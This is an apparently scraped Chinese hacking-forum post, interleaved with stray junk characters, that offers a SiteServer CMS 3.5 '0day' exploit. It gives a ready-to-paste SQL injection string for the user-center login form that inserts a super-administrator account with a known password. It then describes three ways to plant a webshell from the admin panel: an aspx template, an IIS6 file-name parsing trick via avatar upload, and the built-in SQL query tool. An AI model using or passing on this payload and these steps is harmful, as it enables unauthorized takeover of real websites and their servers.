SiteServer CMS 0Day

admin

经测试秒杀最新的3.5版

stieserver官网:www.siteserver.cn

) A* y! l- b( A1 S. @" Z( \/ @7 U

5 F$ ?, Y) U% v( GEXP:
7 m! x3 s7 @/ [3 _. R
, x1 X/ m# N' k直接访问UserCenter/login.aspx
( b: N# `& z6 k
( m/ x  ]& U+ l1 r
8 x& [) H6 {% q8 t$ Y6 H: ?2 s  m
; S  ~2 C" j/ _5 V; w; L$ ?2 Q- @用户名处输入：

) K- x  N9 {- `" c, E123'insert into bairong_Administrator([UserName],[Password],[PasswordFormat],[PasswordSalt]) values('blue','VffSUZcBPo4=','Encrypted','i7jq4LwC25wKDoqHErBWaw==');insert into bairong_AdministratorsInRoles values('Administrator','blue');insert into bairong_AdministratorsInRoles values('RegisteredUser','blue');insert into bairong_AdministratorsInRoles values('ConsoleAdministrator','blue');--
' D3 l( |: x6 q+ s  Y! P( O


; v' |( k% J) [9 X. q% p, W密码为空，输入验证码后提交，既可向数据库中插入一个用户名为blue  密码为lanhai的超级用户。



之后再访问后台SiteServer/login.aspx用插入的用户登陆
- A5 p: y' n# I$ I% x4 V0 w


" j9 T- K, J4 P, H, Z后台拿webshell的三种方法：

一、

. S; h) d9 K  @" n9 \1 m站点管理-》显示功能-》模板管理-》添加单页模板-》直接生成aspx

二、
# O' k% f+ n- K' {% w2 `- h5 h) C
" ^2 R3 z+ H' |. a- M+ P3 j! ?* G( W成员权限-》添加用户-》用户名为：1.asp
; ]3 b& P. C. t6 ^
http://127.0.0.1/usercenter/

6 ^9 w* W$ I: _3 q用刚才添加的1.asp去登陆，进去之后上传个人头像，利用IIS6解析漏洞得webshell

% R" ^& Q* ~  M  E6 j（ps：后台添加用户时不会验证是否含有非法字符）
' i  a. S% a7 h3 m$ B/ t5 ^4 c% ?4 d
2 C, z( ?: Z6 y2 O& c- }6 ]7 S" y5 H; Z三、

3 e* B( W8 u  [* `; i* o  ~系统工具-》实用工具-》机器参数查看
# P& N0 {5 X" x( g3 t可以看到数据库类型、名称，WEB路径
; X3 o$ {& s8 M# Q' \- t
0 \% {1 v! d/ V系统工具-》数据库工具-》SQL语句查询
  [4 U% B# ?% D. k这功能做的不错，直接就相当于一个查询分析器，什么回显都有，可以backup得webshell，或者利用sqlserver配置不当直接XXOO。
1 Z) e- D2 f; }% p